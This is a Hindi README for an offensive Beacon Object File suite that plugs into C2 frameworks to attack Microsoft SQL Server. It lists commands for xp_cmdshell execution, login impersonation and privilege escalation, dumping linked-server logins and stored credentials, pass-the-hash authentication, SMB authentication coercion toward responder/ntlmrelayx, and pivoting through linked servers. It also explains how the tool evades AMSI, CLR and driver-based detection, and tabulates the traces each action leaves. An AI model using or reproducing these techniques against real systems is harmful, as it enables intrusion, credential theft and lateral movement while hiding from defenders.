
Microsoft SQL Server के लिए एक Beacon Object File सुइट जो स्वयं TDS 7.4 का उपयोग करता है।
एक Beacon Object File सूट Microsoft SQL Server के लिए जो स्वयं TDS 7.4 बोलता है, C में। कोई msodbcsql.dll नहीं, कोई sqloledb.dll नहीं, कोई .NET CLR नहीं, कोई PowerShell नहीं। प्रति आर्किटेक्चर एक COFF, हर बीकन में लोड होता है जो विहित Beacon API का सम्मान करता है।
SQL Server लगभग हर एंगेजमेंट में दिखता है। दो उपकरण जो लोग उपयोग करते हैं वे हैं SQLRecon / PowerUpSQL (CLR + PowerShell) और जो कुछ भी sqlcmd.exe को रैप करता है। दोनों mscoree.dll, PowerShell AMSI घटनाएँ, या Microsoft ODBC ड्राइवर की एक पूरी प्रति बीकन मेमोरी में छोड़ देते हैं। इसकी कोई आवश्यकता नहीं है: TDS केवल TCP के ऊपर फ्रेम किए गए बाइट्स हैं जिसमें Schannel हैंडशेक है, और हर BOF-क्षम बीकन में पहले से ws2_32, secur32, schannel, और bcrypt लोड होते हैं।
इसलिए mssqlbof TDS को हाथ से, C में लागू करता है, और सीधे उन SSPI या BCrypt प्रिमिटिव्स में प्लग करता है जो ऑपरेटर को लक्ष्य के लिए चाहिए। बीकन एक ~48 KB ऑब्जेक्ट लोड करता है, SQL चलाता है, अनलोड करता है। प्रक्रिया में कुछ और नहीं आता।
प्रति आर्किटेक्चर एक ऑब्जेक्ट फ़ाइल। mssql.x64.o हर फ्रेमवर्क पर एक ही बाइनरी है — हम केवल विहित Beacon API (BeaconPrintf, BeaconDataExtract, आदि) और <LIB>$<fn> डायनामिक इम्पोर्ट पैटर्न का उपयोग करते हैं जिसे COFF लोडर रनटाइम पर हल करते हैं।
apt install gcc-mingw-w64 libssl-dev
make
build/mssql.x64.o और build/mssql.x86.o उत्पन्न करता है। टीम सर्वर पर ड्रॉप करें, अपने C2 के BOF रनर से लोड करें।
सब कुछ एक ऑब्जेक्ट फ़ाइल के माध्यम से जाता है जिसमें --action <verb> होता है:
--action find वर्तमान फ़ॉरेस्ट में MSSQLSvc SPNs की LDAP गणना
--action info --host <sql> सर्वर/संस्करण/वर्तमान उपयोगकर्ता/sysadmin/db
--action query --host <sql> --sql "..." मनमाना T-SQL, बहु-पंक्ति, बहु-परिणामसेट
--action links --host <sql> लिंक्ड-सर्वर गणना (एकल हॉप)
--action exec --host <sql> --cmd "..." xp_cmdshell स्वचालित सक्षम और पुनर्स्थापना के साथ
--action impersonate --host <sql> --discover उन लॉगिन्स की सूची देखें जिन्हें आप EXECUTE AS कर सकते हैं
--action impersonate --host <sql> --login X --sql "..."
EXECUTE AS LOGIN के माध्यम से X के रूप में T-SQL चलाएँ
--action privesc --host <sql> छह-खंड privesc सतह गणना
--action coerce --host <sql> --to "\\listener\x"
xp_dirtree SMB प्रमाणीकरण दबाव
--action action passwords --host <sql> sys.linked_logins + sys.credentials डंप करें
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find बिना होस्ट के चलता है — यह LDAP के माध्यम से ऑपरेटर के DC से बात करता है।
चार मोड। प्रत्येक मोड SQL Server 2019 के विरुद्ध COFFLoader और Adaptix C2 दोनों में वास्तविक डोमेन पर एंड-टू-एंड सत्यापित है।
--auth sspi (डिफ़ॉल्ट) वर्तमान बीकन थ्रेड टोकन
यदि SPN मौजूद है तो Kerberos, अन्यथा NTLM।
make_token / steal_token का सम्मान करता है।
--auth ntlm --domain D --user U --pass P स्पष्ट NTLM प्लेनटेक्स्ट।
SSPI NTLM पैकेज चलाता है, बहु-लेग।
--auth ntlm --domain D --user U --hash <NT> पास-द-हैश।
हाथ से बनाया गया NTLMv2 (नीचे देखें)।
कोई SSPI नहीं, कोई lsass नहीं, कोई make_token नहीं।
--auth sql --user U --pass P SQL प्रमाणीकरण।
--hash 32-अक्षरीय हेक्स NT हैश या वह LM:NT रूप लेता है जो secretsdump उत्पन्न करता है।
SSPI + SEC_WINNT_AUTH_IDENTITY क्यों नहीं हैAcquireCredentialsHandleW(NULL, "NTLM", ...) क्रेडेंशियल पहचान संरचना में केवल प्लेनटेक्स्ट पासवर्ड स्वीकार करता है। NTLM प्रदाता आंतरिक रूप से NT हैश व्युत्पन्न करता है। इसे हैश खिलाने के लिए lsass को पैच करने की आवश्यकता होती है (जो Mimikatz sekurlsa::pth करता है) या बीकन को एक बलि प्रक्रिया के तहत चलाना होता है जो पहले से प्रमाणित थी।
विकल्प — जो हमने लिया — PTH के लिए SSPI को पूरी तरह से छोड़ देना और NTLMSSP संदेश स्वयं उत्पन्न करना है। src/tds/ntlm_pth.c एक टाइप 1 NEGOTIATE बनाता है, TDS 0xED टोकन से सर्वर के टाइप 2 CHALLENGE को पार्स करता है, bcrypt.dll के HMAC-MD5 प्रदाता के साथ NTLMv2 गणित चलाता है, और एक टाइप 3 AUTHENTICATE लिखता है जिसे SQL Server खुशी-खुशी DC को भेजता है।
पहला कट error 18452: login is from an untrusted domain के साथ विफल हुआ। Impacket के काम करने वाले प्रमाणीकरण को वायर पर हमारे बगल में कैप्चर करने से तेजी से पता चला: हम LMv2 प्रतिक्रिया के लिए 24 शून्य भेज रहे थे और पूरा 0xe288... विंडोज नेगोशिएट फ्लैग सूप। Impacket के LMv2 गणना और उसके छोटे 0xa2880205 फ्लैग सेट (कोई KEY_EXCH नहीं, कोई SIGN नहीं, कोई ALWAYS_SIGN नहीं) से मेल खाने पर सर्वर ने हैश स्वीकार कर लिया। लेख BLOG में।
--action exec के लिए Privesc--impersonate auto (डिफ़ॉल्ट) पहले EXECUTE AS LOGIN, फिर TRUSTWORTHY हॉप आज़माएँ
--impersonate login IMPERSONATE अनुदान के माध्यम से EXECUTE AS LOGIN
--impersonate trustworthy sysadmin के स्वामित्व वाले TRUSTWORTHY db के dbo के माध्यम से हॉप
--impersonate none यदि sysadmin नहीं है तो विफल
privesc आपके द्वारा विधि चुनने से पहले सतह का गणना करता है: sysadmin सदस्यता, IMPERSONATE अनुदान (लक्ष्य लॉगिन की sysadmin स्थिति के साथ), sysadmin द्वारा स्वामित्व वाले TRUSTWORTHY डेटाबेस (आपकी पहुँच के साथ), लिंक्ड सर्वर, सर्वर-स्तरीय अनुमतियाँ, और xp_cmdshell स्थिति।
apt install gcc-mingw-w64 libssl-dev
make # BOFs को x64 + x86 के लिए क्रॉस-कंपाइल करें
make tds # TDS कोर की Linux साझा लाइब्रेरी (फ़ज़िंग/परीक्षण के लिए)
Linux साझा लाइब्रेरी Windows बिल्ड के साथ हर TDS स्रोत फ़ाइल साझा करती है; केवल tls_schannel.c / sspi.c / ntlm_pth.c को उनके OpenSSL / स्टब समकक्षों से बदल दिया जाता है।
कुछ भी सीधे libc या Win32 को कॉल नहीं करता है। हर बाहरी प्रतीक src/common/dynimports.h में <LIB>$<fn> डायनामिक इम्पोर्ट कन्वेंशन के माध्यम से जाता है। इससे सत्यापित करें:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
केवल MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, और __imp_Beacon* दिखना चाहिए। कोई msodbcsql.dll नहीं। कोई sqloledb.dll नहीं। कोई mscoree.dll नहीं।
सब कुछ TLS वास्तविक Schannel है (कोई स्टब नहीं) जिसमें SQL Server PRELOGIN-रैप क्वर्क को संभाला गया है: हैंडशेक TDS PRELOGIN टाइप 0x12 पैकेट के अंदर चलता है, फिर LOGIN7 कच्चे TLS एप्लिकेशन डेटा के रूप में बाहर जाता है, और सर्वर उस पहले लॉगिन पैकेट का उत्तर प्लेनटेक्स्ट में देता है। बहु-लेग SSPI निरंतरताएँ भी प्लेनटेक्स्ट जाती हैं — यदि आप उन्हें TLS से एन्क्रिप्ट करते हैं, तो SRV02 बस सॉकेट बंद कर देता है।
v0.1.2 — बहु-प्रमाणीकरण, PTH, 11 क्रियाएँ, लैब-सत्यापित।
mssql.x64.o) 11 क्रियाओं के साथexec के लिए चार privesc विधियाँ: login, trustworthy, auto, noneज्ञात एज केस:
OPENQUERY श्रृंखला v0.2 में है।do_connect में एक प्राइमर SELECT इसे निकालता है — साइड इफेक्ट हर क्रिया द्वारा लॉग की गई [*] connected as ... पंक्ति है। मूल कारण पोस्ट-LOGINACK रीड पथ में है और v0.2 में उचित समाधान मिलेगा।Cobalt-Strike/bof_template विहित Beacon API सतह के लिए, जिसका यह प्रोजेक्ट बिल्कुल पालन करता है।TrustedSec/COFFLoader परीक्षण के लिए एक स्वतंत्र लोडर के लिए।impacket का ntlm.py और mssqlclient.py — वह संदर्भ जिसके विरुद्ध हमने NTLMv2 फ्लैग सूप का पीछा करते समय अंतर देखा।[MS-TDS] और [MS-NLMP] — वे विनिर्देश जिनका यह सब हाथ-रोलिंग अनुसरण करता है।Opus 4.6 — दस्तावेज़ीकरण के कुछ भाग Opus 4.6 की सहायता से तैयार किए गए थे। सभी कोड मेरे द्वारा हाथ से लिखे गए हैं और लैब में एंड-टू-एंड सत्यापित किए गए हैं।MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | हाँ | हाँ |
| Havoc | हाँ | हाँ |
| Sliver | हाँ | हाँ |
| BruteRatel | हाँ | हाँ |
| Nighthawk | हाँ | हाँ |
| Outflank Stage1 | हाँ | हाँ |
| AdaptixC2 | हाँ | हाँ |
Metasploit execute_bof | हाँ | हाँ |
| PoshC2 | हाँ | हाँ |
| क्रिया | बीकन आधार रेखा से अतिरिक्त DLLs | सर्वर-पक्ष ट्रेस | नोट्स |
|---|
find | wldap32 | DC घटना 1644 (दुर्लभ) | केवल LDAP, कोई SQL स्पर्श नहीं |
info / query / links / privesc / passwords | secur32 या bcrypt, schannel, ws2_32 | SQL ऑडिट 33205 यदि सक्षम | शुद्ध TDS, कोई ODBC फिंगरप्रिंट नहीं |
exec | वही | xp_cmdshell + sp_configure डिफ़ॉल्ट ट्रेस में | शोरगुल। NT SERVICE के रूप में उतरने से बचने के लिए कम-प्रिविलेज लॉगिन से --impersonate का उपयोग करें |
impersonate | वही | EXECUTE AS ऑडिट 33205 + 33206 | |
coerce | वही | xp_dirtree प्रयास लॉग किया गया | इसे responder / ntlmrelayx पर इंगित करें |
chain | वही | EXEC AT लिंक्ड सर्वर लक्ष्य पर लॉग किया गया | पिवट प्रिमिटिव |
| दस्तावेज़ | इसमें क्या है |
|---|
docs/PROTOCOL.md | TDS 7.4 गहन विश्लेषण: पैकेट फ्रेमिंग, PRELOGIN विकल्प स्ट्रीम, LOGIN7 पासवर्ड अस्पष्टीकरण, SQLBatch पर ALL_HEADERS, टोकन स्ट्रीम व्याकरण (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI निरंतरता), TLS हैंडशेक क्वर्क, बहु-लेग NTLM पंप। |
docs/OPERATOR.md | एंड-टू-एंड लैब गाइड: निर्माण, Adaptix लिसनर खड़ा करना, विंडोज होस्ट पर बीकन ड्रॉप करना, हर क्रिया को हर प्रमाणीकरण मोड (PTH सहित) के साथ चलाना, और क्रॉस-C2 पोर्टेबिलिटी नोट्स। |
docs/OPSEC.md | प्रति-क्रिया ऑन-वायर और इन-मेमोरी पदचिह्न। प्रत्येक क्रिया बीकन में क्या लोड करती है, SQL ऑडिट में क्या छोड़ती है, और एक डिफेंडर क्या देख सकता है। |
docs/COMPATIBILITY.md | C2 फ्रेमवर्क मैट्रिक्स, SQL Server संस्करण मैट्रिक्स, और कौन से प्रमाणीकरण मोड किन लक्ष्यों के विरुद्ध सत्यापित हैं। |
BLOG | डिबगिंग कथा: पास-द-हैश कार्यान्वयन वास्तव में कैसे एक साथ आया, वायर कैप्चर, LMv2 शून्य-बाइट्स लाल हेरिंग, और tshark अंतर जिसने Impacket के विरुद्ध इसे खोला। |